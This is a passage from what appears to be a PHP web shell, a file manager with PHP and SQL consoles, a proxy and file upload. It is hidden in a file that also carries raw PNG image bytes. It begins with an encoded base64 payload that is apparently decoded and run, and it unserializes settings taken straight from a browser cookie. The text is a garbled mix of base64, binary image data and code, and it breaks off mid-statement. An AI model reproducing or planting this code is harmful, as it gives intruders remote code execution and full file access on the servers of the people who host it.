Jwb3MoJHBhdGgsICc6JykpKQkkcGF0aCA9ICcuLycuJHBhdGg7DQoJCWNsZWFyc3RhdGNhY2hlKCk7DQoJCXdoaWxlIChzdHJsZW4oJGJpbmFyeURhdGEgPSAkdGhpcy0+cmVhZEJsb2NrKCkpICE9IDApew0KCQkJaWYgKCEkdGhpcy0+cmVhZEhlYWRlcigkYmluYXJ5RGF0YSwgJGhlYWRlcikpIHJldHVybiBmYWxzZTsNCgkJCWlmICgkaGVhZGVyWydmaWxlbmFtZSddID09ICcnKSBjb250aW51ZTsNCgkJCWlmICgkaGVhZGVyWyd0eXBlZmxhZyddID09ICdMJyl7CQkJLy9yZWFkaW5nIGxvbmcgaGVhZGVyDQoJCQkJJGZpbGVuYW1lID0gJyc7DQoJCQkJJGRlY3IgPSBmbG9vcigkaGVhZGVyWydzaXplJ10vNTEyKTsNCgkJCQlmb3IgKCRpID0gMDsgJGkgPCAkZGVjcjsgJGkrKyl7DQoJCQkJCSRjb250ZW50ID0gJHRoaXMtPnJlYWRCbG9jaygpOw0KCQkJCQkkZmlsZW5hbWUgLj0gJGNvbnRlbnQ7DQoJCQkJfQ0KCQkJCWlmICgoJGxhc3BpZWNlID0gJGhlYWRlclsnc2l6ZSddICUgNTEyKSAhPSAwKXsNCgkJCQkJJGNvbnRlbnQgPSAkdGhpcy0+cmVhZEJsb2NrKCk7DQoJCQkJCSRmaWxlbmFtZSAuPSBzdWJzdHIoJGNvbnRlbnQsIDAsICRsYXNwaWVjZSk7DQoJCQkJfQ0KCQkJCSRiaW5hcnlEYXRhID0gJHRoaXMtPnJlYWRCbG9jaygpOw0KCQkJCWlmICghJHRoaXMtPnJlYWRIZWFkZXIoJGJpbmFyeURhdGEsICRoZWFkZXIpKSByZXR1cm4gZmFsc2U7DQoJCQkJZWxzZSAkaGVhZGVyWydmaWxlbmFtZSddID0gJGZpbGVuYW1lOw0KCQkJCXJldHVybiB0cnVlOw0KCQkJfQ0KCQkJaWYgKCgkcGF0aCAhPSAnLi8nKSAmJiAoJHBhdGggIT0gJy8nKSl7DQoJCQkJd2hpbGUgKHN1YnN0cigkcGF0aCwgLTEpID09ICcvJykgJHBhdGggPSBzdWJzdHIoJHBhdGgsIDAsIHN0cmxlbigkcGF0aCktMSk7DQoJCQkJaWYgKHN1YnN0cigkaGVhZGVyWydmaWxlbmFtZSddLCAwLCAxKSA9PSAnLycpICRoZWFkZXJbJ2ZpbGVuYW1lJ10gPSAkcGF0aC4kaGVhZGVyWydmaWxlbmFtZSddOw0KCQkJCWVsc2UgJGhlYWRlclsnZmlsZW5hbWUnXSA9ICRwYXRoLicvJy4kaGVhZGVyWydmaWxlbmFtZSddOw0KCQkJfQ0KCQkJDQoJCQlpZiAoZmlsZV9leGlzdHMoJGhlYWRlclsnZmlsZW5hbWUnXSkpew0KCQkJCWlmICgoQGlzX2RpcigkaGVhZGVyWydmaWxlbmFtZSddKSkgJiYgKCRoZWFkZXJbJ3R5cGVmbGFnJ10gPT0gJycpKXsNCgkJCQkJJHRoaXMtPmVycm9yc1tdID1fXygnRmlsZSAnKS4kaGVhZGVyWydmaWxlbmFtZSddLl9fKCcgYWxyZWFkeSBleGlzdHMnKS5fXygnIGFzIGZvbGRlcicpOw0KCQkJCQlyZXR1cm4gZmFsc2U7DQoJCQkJfQ0KCQkJCWlmICgoaXNfZmlsZSgkaGVhZGVyWydmaWxlbmFtZSddKSkgJiYgKCRoZWFkZXJbJ3R5cGVmbGFnJ10gPT0gJzUnKSl7DQoJCQkJCSR0aGlzLT5lcnJvcnNbXSA9X18oJ0Nhbm5vdCBjcmVhdGUgZGlyZWN0b3J5JykuJy4gJy5fXygnRmlsZSAnKS4kaGVhZGVyWydmaWxlbmFtZSddLl9fKCcgYWxyZWFkeSBleGlzdHMnKTsNCgkJCQkJcmV0dXJuIGZhbHNlOw0KCQkJCX0NCgkJCQlpZiAoIWlzX3dyaXRlYWJsZSgkaGVhZGVyWydmaWxlbmFtZSddKSl7DQoJCQkJCSR0aGlzLT5lcnJvcnNbXSA9IF9fKCdDYW5ub3Qgd3JpdGUgdG8gZmlsZScpLicuICcuX18oJ0ZpbGUgJykuJGhlYWRlclsnZmlsZW5hbWUnXS5fXygnIGFscmVhZHkgZXhpc3RzJyk7DQoJCQkJCXJldHVybiBmYWxzZTsNCgkJCQl9DQoJCQl9IGVsc2VpZiAoKCR0aGlzLT5kaXJDaGVjaygoJGhlYWRlclsndHlwZWZsYWcnXSA9PSAnNScgPyAkaGVhZGVyWydmaWxlbmFtZSddIDogZGlybmFtZSgkaGVhZGVyWydmaWxlbmFtZSddKSkpKSAhPSAxKXsNCgkJCQkkdGhpcy0+ZXJyb3JzW10gPSBfXygnQ2Fubm90IGNyZWF0ZSBkaXJlY3RvcnknKS4nICcuX18oJyBmb3IgJykuJGhlYWRlclsnZmlsZW5hbWUnXTsNCgkJCQlyZXR1cm4gZmFsc2U7DQoJCQl9DQoNCgkJCWlmICgkaGVhZGVyWyd0eXBlZmxhZyddID09ICc1Jyl7DQoJCQkJaWYgKCFmaWxlX2V4aXN0cygkaGVhZGVyWydmaWxlbmFtZSddKSkJCXsNCgkJCQkJaWYgKCFta2RpcigkaGVhZGVyWydmaWxlbmFtZSddLCAwNzc3KSkJew0KCQkJCQkJDQoJCQkJCQkkdGhpcy0+ZXJyb3JzW10gPSBfXygnQ2Fubm90IGNyZWF0ZSBkaXJlY3RvcnknKS4nICcuJGhlYWRlclsnZmlsZW5hbWUnXTsNCgkJCQkJCXJldHVybiBmYWxzZTsNCgkJCQkJfSANCgkJCQl9DQoJCQl9IGVsc2Ugew0KCQkJCWlmICgoJGRlc3RpbmF0aW9uID0gZm9wZW4oJGhlYWRlclsnZmlsZW5hbWUnXSwgJ3diJykpID09IDApIHsNCgkJCQkJJHRoaXMtPmVycm9yc1tdID0gX18oJ0Nhbm5vdCB3cml0ZSB0byBmaWxlJykuJyAnLiRoZWFkZXJbJ2ZpbGVuYW1lJ107DQoJCQkJCXJldHVybiBmYWxzZTsNCgkJCQl9IGVsc2Ugew0KCQkJCQkkZGVjciA9IGZsb29yKCRoZWFkZXJbJ3NpemUnXS81MTIpOw0KCQkJCQlmb3IgKCRpID0gMDsgJGkgPCAkZGVjcjsgJGkrKykgew0KCQkJCQkJJGNvbnRlbnQgPSAkdGhpcy0+cmVhZEJsb2NrKCk7DQoJCQkJCQlmd3JpdGUoJGRlc3RpbmF0aW9uLCAkY29udGVudCwgNTEyKTsNCgkJCQkJfQ0KCQkJCQlpZiAoKCRoZWFkZXJbJ3NpemUnXSAlIDUxMikgIT0gMCkgew0KCQkJCQkJJGNvbnRlbnQgPSAkdGhpcy0+cmVhZEJsb2NrKCk7DQoJCQkJCQlmd3JpdGUoJGRlc3RpbmF0aW9uLCAkY29udGVudCwgKCRoZWFkZXJbJ3NpemUnXSAlIDUxMikpOw0KCQkJCQl9DQoJCQkJCWZjbG9zZSgkZGVzdGluYXRpb24pOw0KCQkJCQl0b3VjaCgkaGVhZGVyWydmaWxlbmFtZSddLCAkaGVhZGVyWyd0aW1lJ10pOw0KCQkJCX0NCgkJCQljbGVhcnN0YXRjYWNoZSgpOw0KCQkJCWlmIChmaWxlc2l6ZSgkaGVhZGVyWydmaWxlbmFtZSddKSAhPSAkaGVhZGVyWydzaXplJ10pIHsNCgkJCQkJJHRoaXMtPmVycm9yc1tdID0gX18oJ1NpemUgb2YgZmlsZScpLicgJy4kaGVhZGVyWydmaWxlbmFtZSddLicgJy5fXygnaXMgaW5jb3JyZWN0Jyk7DQoJCQkJCXJldHVybiBmYWxzZTsNCgkJCQl9DQoJCQl9DQoJCQlpZiAoKCRmaWxlX2RpciA9IGRpcm5hbWUoJGhlYWRlclsnZmlsZW5hbWUnXSkpID09ICRoZWFkZXJbJ2ZpbGVuYW1lJ10pICRmaWxlX2RpciA9ICcnOw0KCQkJaWYgKChzdWJzdHIoJGhlYWRlclsnZmlsZW5hbWUnXSwgMCwgMSkgPT0gJy8nKSAmJiAoJGZpbGVfZGlyID09ICcnKSkgJGZpbGVfZGlyID0gJy8nOw0KCQkJJHRoaXMtPmRpcnNbXSA9ICRmaWxlX2RpcjsNCgkJCSR0aGlzLT5maWxlc1tdID0gJGhlYWRlclsnZmlsZW5hbWUnXTsNCgkNCgkJfQ0KCQlyZXR1cm4gdHJ1ZTsNCgl9DQoNCglmdW5jdGlvbiBkaXJDaGVjaygkZGlyKXsNCgkJJHBhcmVudF9kaXIgPSBkaXJuYW1lKCRkaXIpOw0KDQoJCWlmICgoQGlzX2RpcigkZGlyKSkgb3IgKCRkaXIgPT0gJycpKQ0KCQkJcmV0dXJuIHRydWU7DQoNCgkJaWYgKCgkcGFyZW50X2RpciAhPSAkZGlyKSBhbmQgKCRwYXJlbnRfZGlyICE9ICcnKSBhbmQgKCEkdGhpcy0+ZGlyQ2hlY2soJHBhcmVudF9kaXIpKSkNCgkJCXJldHVybiBmYWxzZTsNCg0KCQlpZiAoIW1rZGlyKCRkaXIsIDA3NzcpKXsNCgkJCSR0aGlzLT5lcnJvcnNbXSA9IF9fKCdDYW5ub3QgY3JlYXRlIGRpcmVjdG9yeScpLicgJy4kZGlyOw0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJCXJldHVybiB0cnVlOw0KCX0NCg0KCWZ1bmN0aW9uIHJlYWRIZWFkZXIoJGJpbmFyeURhdGEsICYkaGVhZGVyKXsNCgkJaWYgKHN0cmxlbigkYmluYXJ5RGF0YSk9PTApew0KCQkJJGhlYWRlclsnZmlsZW5hbWUnXSA9ICcnOw0KCQkJcmV0dXJuIHRydWU7DQoJCX0NCg0KCQlpZiAoc3RybGVuKCRiaW5hcnlEYXRhKSAhPSA1MTIpew0KCQkJJGhlYWRlclsnZmlsZW5hbWUnXSA9ICcnOw0KCQkJJHRoaXMtPl9fKCdJbnZhbGlkIGJsb2NrIHNpemUnKS4nOiAnLnN0cmxlbigkYmluYXJ5RGF0YSk7DQoJCQlyZXR1cm4gZmFsc2U7DQoJCX0NCg0KCQkkY2hlY2tzdW0gPSAwOw0KCQlmb3IgKCRpID0gMDsgJGkgPCAxNDg7ICRpKyspICRjaGVja3N1bSs9b3JkKHN1YnN0cigkYmluYXJ5RGF0YSwgJGksIDEpKTsNCgkJZm9yICgkaSA9IDE0ODsgJGkgPCAxNTY7ICRpKyspICRjaGVja3N1bSArPSBvcmQoJyAnKTsNCgkJZm9yICgkaSA9IDE1NjsgJGkgPCA1MTI7ICRpKyspICRjaGVja3N1bSs9b3JkKHN1YnN0cigkYmluYXJ5RGF0YSwgJGksIDEpKTsNCg0KCQkkdW5wYWNrX2RhdGEgPSB1bnBhY2soJ2ExMDBmaWxlbmFtZS9hOG1vZGUvYTh1c2VyX2lkL2E4Z3JvdXBfaWQvYTEyc2l6ZS9hMTJ0aW1lL2E4Y2hlY2tzdW0vYTF0eXBlZmxhZy9hMTAwbGluay9hNm1hZ2ljL2EydmVyc2lvbi9hMzJ1bmFtZS9hMzJnbmFtZS9hOGRldm1ham9yL2E4ZGV2bWlub3InLCAkYmluYXJ5RGF0YSk7DQoNCgkJJGhlYWRlclsnY2hlY2tzdW0nXSA9IE9jdERlYyh0cmltKCR1bnBhY2tfZGF0YVsnY2hlY2tzdW0nXSkpOw0KCQlpZiAoJGhlYWRlclsnY2hlY2tzdW0nXSAhPSAkY2hlY2tzdW0pew0KCQkJJGhlYWRlclsnZmlsZW5hbWUnXSA9ICcnOw0KCQkJaWYgKCgkY2hlY2tzdW0gPT0gMjU2KSAmJiAoJGhlYWRlclsnY2hlY2tzdW0nXSA9PSAwKSkgCXJldHVybiB0cnVlOw0KCQkJJHRoaXMtPmVycm9yc1tdID0gX18oJ0Vycm9yIGNoZWNrc3VtIGZvciBmaWxlICcpLiR1bnBhY2tfZGF0YVsnZmlsZW5hbWUnXTsNCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KDQoJCWlmICgoJGhlYWRlclsndHlwZWZsYWcnXSA9ICR1bnBhY2tfZGF0YVsndHlwZWZsYWcnXSkgPT0gJzUnKQkkaGVhZGVyWydzaXplJ10gPSAwOw0KCQkkaGVhZGVyWydmaWxlbmFtZSddID0gdHJpbSgkdW5wYWNrX2RhdGFbJ2ZpbGVuYW1lJ10pOw0KCQkkaGVhZGVyWydtb2RlJ10gPSBPY3REZWModHJpbSgkdW5wYWNrX2RhdGFbJ21vZGUnXSkpOw0KCQkkaGVhZGVyWyd1c2VyX2lkJ10gPSBPY3REZWModHJpbSgkdW5wYWNrX2RhdGFbJ3VzZXJfaWQnXSkpOw0KCQkkaGVhZGVyWydncm91cF9pZCddID0gT2N0RGVjKHRyaW0oJHVucGFja19kYXRhWydncm91cF9pZCddKSk7DQoJCSRoZWFkZXJbJ3NpemUnXSA9IE9jdERlYyh0cmltKCR1bnBhY2tfZGF0YVsnc2l6ZSddKSk7DQoJCSRoZWFkZXJbJ3RpbWUnXSA9IE9jdERlYyh0cmltKCR1bnBhY2tfZGF0YVsndGltZSddKSk7DQoJCXJldHVybiB0cnVlOw0KCX0NCg0KCWZ1bmN0aW9uIHdyaXRlSGVhZGVyKCRmaWxlbmFtZSwgJGtlZXBfZmlsZW5hbWUpew0KCQkkcGFja0YgPSAnYTEwMGE4YThhOGExMkExMic7DQoJCSRwYWNrTCA9ICdhMWExMDBhNmEyYTMyYTMyYThhOGExNTVhMTInOw0KCQlpZiAoc3RybGVuKCRrZWVwX2ZpbGVuYW1lKTw9MCkgJGtlZXBfZmlsZW5hbWUgPSAkZmlsZW5hbWU7DQoJCSRmaWxlbmFtZV9yZWFkeSA9ICR0aGlzLT5tYWtlR29vZFBhdGgoJGtlZXBfZmlsZW5hbWUpOw0KDQoJCWlmIChzdHJsZW4oJGZpbGVuYW1lX3JlYWR5KSA+IDk5KXsJCQkJCQkJLy93cml0ZSBsb25nIGhlYWRlcg0KCQkkZGF0YUZpcnN0ID0gcGFjaygkcGFja0YsICcuLy4vTG9uZ0xpbmsnLCAwLCAwLCAwLCBzcHJpbnRmKCclMTFzICcsIERlY09jdChzdHJsZW4oJGZpbGVuYW1lX3JlYWR5KSkpLCAwKTsNCgkJJGRhdGFMYXN0ID0gcGFjaygkcGFja0wsICdMJywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJyk7DQoNCiAgICAgICAgLy8gIENhbGN1bGF0ZSB0aGUgY2hlY2tzdW0NCgkJJGNoZWNrc3VtID0gMDsNCiAgICAgICAgLy8gIEZpcnN0IHBhcnQgb2YgdGhlIGhlYWRlcg0KCQlmb3IgKCRpID0gMDsgJGkgPCAxNDg7ICRpKyspDQoJCQkkY2hlY2tzdW0gKz0gb3JkKHN1YnN0cigkZGF0YUZpcnN0LCAkaSwgMSkpOw0KICAgICAgICAvLyAgSWdub3JlIHRoZSBjaGVja3N1bSB2YWx1ZSBhbmQgcmVwbGFjZSBpdCBieSAnICcgKHNwYWNlKQ0KCQlmb3IgKCRpID0gMTQ4OyAkaSA8IDE1NjsgJGkrKykNCgkJCSRjaGVja3N1bSArPSBvcmQoJyAnKTsNCiAgICAgICAgLy8gIExhc3QgcGFydCBvZiB0aGUgaGVhZGVyDQoJCWZvciAoJGkgPSAxNTYsICRqPTA7ICRpIDwgNTEyOyAkaSsrLCAkaisrKQ0KCQkJJGNoZWNrc3VtICs9IG9yZChzdWJzdHIoJGRhdGFMYXN0LCAkaiwgMSkpOw0KICAgICAgICAvLyAgV3JpdGUgdGhlIGZpcnN0IDE0OCBieXRlcyBvZiB0aGUgaGVhZGVyIGluIHRoZSBhcmNoaXZlDQoJCSR0aGlzLT53cml0ZUJsb2NrKCRkYXRhRmlyc3QsIDE0OCk7DQogICAgICAgIC8vICBXcml0ZSB0aGUgY2FsY3VsYXRlZCBjaGVja3N1bQ0KCQkkY2hlY2tzdW0gPSBzcHJpbnRmKCclNnMgJywgRGVjT2N0KCRjaGVja3N1bSkpOw0KCQkkYmluYXJ5RGF0YSA9IHBhY2soJ2E4JywgJGNoZWNrc3VtKTsNCgkJJHRoaXMtPndyaXRlQmxvY2soJGJpbmFyeURhdGEsIDgpOw0KICAgICAgICAvLyAgV3JpdGUgdGhlIGxhc3QgMzU2IGJ5dGVzIG9mIHRoZSBoZWFkZXIgaW4gdGhlIGFyY2hpdmUNCgkJJHRoaXMtPndyaXRlQmxvY2soJGRhdGFMYXN0LCAzNTYpOw0KDQoJCSR0bXBfZmlsZW5hbWUgPSAkdGhpcy0+bWFrZUdvb2RQYXRoKCRmaWxlbmFtZV9yZWFkeSk7DQoNCgkJJGkgPSAwOw0KCQkJd2hpbGUgKCgkYnVmZmVyID0gc3Vic3RyKCR0bXBfZmlsZW5hbWUsICgoJGkrKykqNTEyKSwgNTEyKSkgIT0gJycpew0KCQkJCSRiaW5hcnlEYXRhID0gcGFjaygnYTUxMicsICRidWZmZXIpOw0KCQkJCSR0aGlzLT53cml0ZUJsb2NrKCRiaW5hcnlEYXRhKTsNCgkJCX0NCgkJcmV0dXJuIHRydWU7DQoJCX0NCgkJJGZpbGVfaW5mbyA9IHN0YXQoJGZpbGVuYW1lKTsNCgkJaWYgKEBpc19kaXIoJGZpbGVuYW1lKSl7DQoJCQkkdHlwZWZsYWcgPSAnNSc7DQoJCQkkc2l6ZSA9IHNwcmludGYoJyUxMXMgJywgRGVjT2N0KDApKTsNCgkJfSBlbHNlIHsNCgkJCSR0eXBlZmxhZyA9ICcnOw0KCQkJY2xlYXJzdGF0Y2FjaGUoKTsNCgkJCSRzaXplID0gc3ByaW50ZignJTExcyAnLCBEZWNPY3QoZmlsZXNpemUoJGZpbGVuYW1lKSkpOw0KCQl9DQoJCSRkYXRhRmlyc3QgPSBwYWNrKCRwYWNrRiwgJGZpbGVuYW1lX3JlYWR5LCBzcHJpbnRmKCclNnMgJywgRGVjT2N0KGZpbGVwZXJtcygkZmlsZW5hbWUpKSksIHNwcmludGYoJyU2cyAnLCBEZWNPY3QoJGZpbGVfaW5mb1s0XSkpLCBzcHJpbnRmKCclNnMgJywgRGVjT2N0KCRmaWxlX2luZm9bNV0pKSwgJHNpemUsIHNwcmludGYoJyUxMXMnLCBEZWNPY3QoZmlsZW10aW1lKCRmaWxlbmFtZSkpKSk7DQoJCSRkYXRhTGFzdCA9IHBhY2soJHBhY2tMLCAkdHlwZWZsYWcsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycpOw0KCQkkY2hlY2tzdW0gPSAwOw0KCQlmb3IgKCRpID0gMDsgJGkgPCAxNDg7ICRpKyspICRjaGVja3N1bSArPSBvcmQoc3Vic3RyKCRkYXRhRmlyc3QsICRpLCAxKSk7DQoJCWZvciAoJGkgPSAxNDg7ICRpIDwgMTU2OyAkaSsrKSAkY2hlY2tzdW0gKz0gb3JkKCcgJyk7DQoJCWZvciAoJGkgPSAxNTYsICRqID0gMDsgJGkgPCA1MTI7ICRpKyssICRqKyspICRjaGVja3N1bSArPSBvcmQoc3Vic3RyKCRkYXRhTGFzdCwgJGosIDEpKTsNCgkJJHRoaXMtPndyaXRlQmxvY2soJGRhdGFGaXJzdCwgMTQ4KTsNCgkJJGNoZWNrc3VtID0gc3ByaW50ZignJTZzICcsIERlY09jdCgkY2hlY2tzdW0pKTsNCgkJJGJpbmFyeURhdGEgPSBwYWNrKCdhOCcsICRjaGVja3N1bSk7DQoJCSR0aGlzLT53cml0ZUJsb2NrKCRiaW5hcnlEYXRhLCA4KTsNCgkJJHRoaXMtPndyaXRlQmxvY2soJGRhdGFMYXN0LCAzNTYpOw0KCQlyZXR1cm4gdHJ1ZTsNCgl9DQoNCglmdW5jdGlvbiBvcGVuV3JpdGUoKXsNCgkJaWYgKCR0aGlzLT5pc0d6aXBwZWQpDQoJCQkkdGhpcy0+dG1wX2ZpbGUgPSBnem9wZW4oJHRoaXMtPmFyY2hpdmVfbmFtZSwgJ3diOWYnKTsNCgkJZWxzZQ0KCQkJJHRoaXMtPnRtcF9maWxlID0gZm9wZW4oJHRoaXMtPmFyY2hpdmVfbmFtZSwgJ3diJyk7DQoNCgkJaWYgKCEoJHRoaXMtPnRtcF9maWxlKSl7DQoJCQkkdGhpcy0+ZXJyb3JzW10gPSBfXygnQ2Fubm90IHdyaXRlIHRvIGZpbGUnKS4nICcuJHRoaXMtPmFyY2hpdmVfbmFtZTsNCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCQlyZXR1cm4gdHJ1ZTsNCgl9DQoNCglmdW5jdGlvbiByZWFkQmxvY2soKXsNCgkJaWYgKGlzX3Jlc291cmNlKCR0aGlzLT50bXBfZmlsZSkpew0KCQkJaWYgKCR0aGlzLT5pc0d6aXBwZWQpDQoJCQkJJGJsb2NrID0gZ3pyZWFkKCR0aGlzLT50bXBfZmlsZSwgNTEyKTsNCgkJCWVsc2UNCgkJCQkkYmxvY2sgPSBmcmVhZCgkdGhpcy0+dG1wX2ZpbGUsIDUxMik7DQoJCX0gZWxzZQkkYmxvY2sgPSAnJzsNCg0KCQlyZXR1cm4gJGJsb2NrOw0KCX0NCg0KCWZ1bmN0aW9uIHdyaXRlQmxvY2soJGRhdGEsICRsZW5ndGggPSAwKXsNCgkJaWYgKGlzX3Jlc291cmNlKCR0aGlzLT50bXBfZmlsZSkpew0KCQkNCgkJCWlmICgkbGVuZ3RoID09PSAwKXsNCgkJCQlpZiAoJHRoaXMtPmlzR3ppcHBlZCkNCgkJCQkJZ3pwdXRzKCR0aGlzLT50bXBfZmlsZSwgJGRhdGEpOw0KCQkJCWVsc2UNCgkJCQkJZnB1dHMoJHRoaXMtPnRtcF9maWxlLCAkZGF0YSk7DQoJCQl9IGVsc2Ugew0KCQkJCWlmICgkdGhpcy0+aXNHemlwcGVkKQ0KCQkJCQlnenB1dHMoJHRoaXMtPnRtcF9maWxlLCAkZGF0YSwgJGxlbmd0aCk7DQoJCQkJZWxzZQ0KCQkJCQlmcHV0cygkdGhpcy0+dG1wX2ZpbGUsICRkYXRhLCAkbGVuZ3RoKTsNCgkJCX0NCgkJfQ0KCX0NCg0KCWZ1bmN0aW9uIGNsb3NlVG1wRmlsZSgpew0KCQlpZiAoaXNfcmVzb3VyY2UoJHRoaXMtPnRtcF9maWxlKSl7DQoJCQlpZiAoJHRoaXMtPmlzR3ppcHBlZCkNCgkJCQlnemNsb3NlKCR0aGlzLT50bXBfZmlsZSk7DQoJCQllbHNlDQoJCQkJZmNsb3NlKCR0aGlzLT50bXBfZmlsZSk7DQoNCgkJCSR0aGlzLT50bXBfZmlsZSA9IDA7DQoJCX0NCgl9DQoNCglmdW5jdGlvbiBtYWtlR29vZFBhdGgoJHBhdGgpew0KCQlpZiAoc3RybGVuKCRwYXRoKT4wKXsNCgkJCSRwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkcGF0aCk7DQoJCQkkcGFydFBhdGggPSBleHBsb2RlKCcvJywgJHBhdGgpOw0KCQkJJGVscyA9IGNvdW50KCRwYXJ0UGF0aCktMTsNCgkJCWZvciAoJGkgPSAkZWxzOyAkaT49MDsgJGktLSl7DQoJCQkJaWYgKCRwYXJ0UGF0aFskaV0gPT0gJy4nKXsNCiAgICAgICAgICAgICAgICAgICAgLy8gIElnbm9yZSB0aGlzIGRpcmVjdG9yeQ0KICAgICAgICAgICAgICAgIH0gZWxzZWlmICgkcGFydFBhdGhbJGldID09ICcuLicpew0KICAgICAgICAgICAgICAgICAgICAkaS0tOw0KICAgICAgICAgICAgICAgIH0NCgkJCQllbHNlaWYgKCgkcGFydFBhdGhbJGldID09ICcnKSBhbmQgKCRpIT0kZWxzKSBhbmQgKCRpIT0wKSl7DQogICAgICAgICAgICAgICAgfQllbHNlDQoJCQkJCSRyZXN1bHQgPSAkcGFydFBhdGhbJGldLigkaSE9JGVscyA/ICcvJy4kcmVzdWx0IDogJycpOw0KCQkJfQ0KCQl9IGVsc2UgJHJlc3VsdCA9ICcnOw0KCQkNCgkJcmV0dXJuICRyZXN1bHQ7DQoJfQ0KfQ=='));

‰PNG

   
IHDR  6   £   7¾Âß  PLTEÿÿÿL‹õïïïåååLŒõOŽõÜÜÜRõI‰ôÙÙÙçççáááJ‰ñÞÞÞDU¶Oò6€ö©Çüb|‰ÕÕ×e÷÷÷ÒÒÖÛåð^w‡„«ôÍÍÓ^•óöôïEnÓBP°ÇÈÐDV´>…õpŠ•ÂÃÎüùîÊ×ñÃÇÉš¨°±óPo{~¦óZw…\tˆ>P³m öc˜ó°Æòäéï»Íñ«³¸2F³Yf¸ó÷ýŸ¾øÕáûéðýÚåûØÙᢰÔwœæ°ºÕÀÑñ‡¦å’©ßº¾ÏŸ¯Ú—¶óPt¢PƒÔ^r|t‡pƒ”}š„¢äMi“¡©—¤ª¬±½Mr¢ÕÏÉ¡¦Æ™Ñ’˜Â}„¿oy»½ÁÞhu¨«Å–š¿þ­)€  (IDATxœíÝ
[ÚÈ p"&bEA gÓDQ«-½¸­v÷”êzzv{¶ÝïÿAÎÜ’L’É¥ä™$ÿgût­í®ù=ï;—db
…<yòäÉ“'Ož”äêæú¸õÄ^%ýÕ'•³‰ZÚZ(NÀqÒ_~2y=V+‘	!ì\%}Iäõd+Z-Œ
d±K¯b©…±md±K·ct(J) ¤K“¾†Õçªó,5¦f¯KÏŸWlÄ-ƒ]ÚŠ5²…³e°KÇË`S2×¥“Xj!lØ
\'}«N<¶52¸e®K—¶fI_ÇŠo±Æ–É.Åª–É.][æºt	l¤K·“¾Õ&[„éÒIÒ²Ú,ƒ”Û뤯d¥‰Á©FØÎ’¾’•&š-MU³7—.…
—ÌÔ­ñH¶è¥lÙêÒ(¶8j´KÇI_Ê*Á­f±mÁiÒײÂ,‡téyÒײ„³ÅP#l¤K I_Ë
Æ ªárÛ {I_ÌêÂKÍaËT—³-¢ÆºtÏëáû>Ü'd*Ö@¶xj6.7¥Ûm¿yóF¯V«E”u.ޏ]Ÿ A¬%­;l1Ñl5ºQxËÜt,W-ÆI•OQ8![\4Žté»>q{2ú3’¸	Øâ£qjô€\·kšíç°Éâæe[ÀÌÏßš(
Ë,t(
$”bfp±-fæR#_Z»]/©E@¶õ¤I⤃Š$ÒK¨¡j¨äs[X¹ÉPn˜m+ÔÂÎñÙÍl6;<¿ƒcƒï	[£»Ú}*ÃèÁ¦Ô7k=ÃXÃ1ŒžÑ¼ƒP
RC]Ú&lúúÓÙdèÒP6ÞM{”ÌŽaœW`€šªTpµ5P´˜n‚i¡˜´IŒ„±ÁÁÔcÆà¶QÁ‰Ô¬.ÅnåXÅ–>6ÞˆÐ\³Ø~m°.­ë™dS*ÂR³àZb7¥Cæ4)`·mš26elFê
w©é¸EÂ¥‹Mõ¨8܇³ 5Ô¥m›­®G/CÒÅV™òfkÍóí³óÙÔZ‰ª‘.¥nx|+G¹yÕ¤f«€™SZÆôzB7	°48Ä¿nª¡¥Û{êFØp½e‡
l÷œJ»Öú¶¤*pÜ4BÕTøÁìb·s[¬G¥f›Øµf4éÚÖ™*àÍM-D
uiŸÜ>Šç–&6xh±áÂòN `ÉfwéGÊË-ElêØVkúÕ"ƒ»´Ëº±i¡nR³¹o9»ã	jª2qwiX½ùÔ¤bsËT¬­7PW£]ÚuØ´z©IÊŽ­b›Á§¨¡.íÚ]JªMÓ‚ÜRÄfO½±ú5Ö¥ÖŠ—°iÕÔ³{ƒPãY©‰"œUÙ\Ú°ÊM«÷ûýFch““MíXóÁ9ߣÊ`Úôg*º¢À[÷œ õO†ÃáÊAzÙ¬GcnBPÁÀÞ8ð»Õ3Á†A¬K96D¶‹’^6{FèMì¡
7žmM°ÏRÅZñºØv|l~5‰Ùî,¶ŠƒÈæ¿í†Ôh—:ûƶ“
¶’ÊMŸqÙ°šƦˆÍ;¶¥Ší˜¯6gv\„M®9!€M &/›Òr–mü¢"USÈa{åæ°íVÓÊfoä;àf3¸L	LMïúB¶~Ý›*¶R%€„ßï[Kb´¶©¡rkX›+´EÐ6]/Zÿyá–A^6Ød×Õ
¾©Xy
…j


// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath() : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
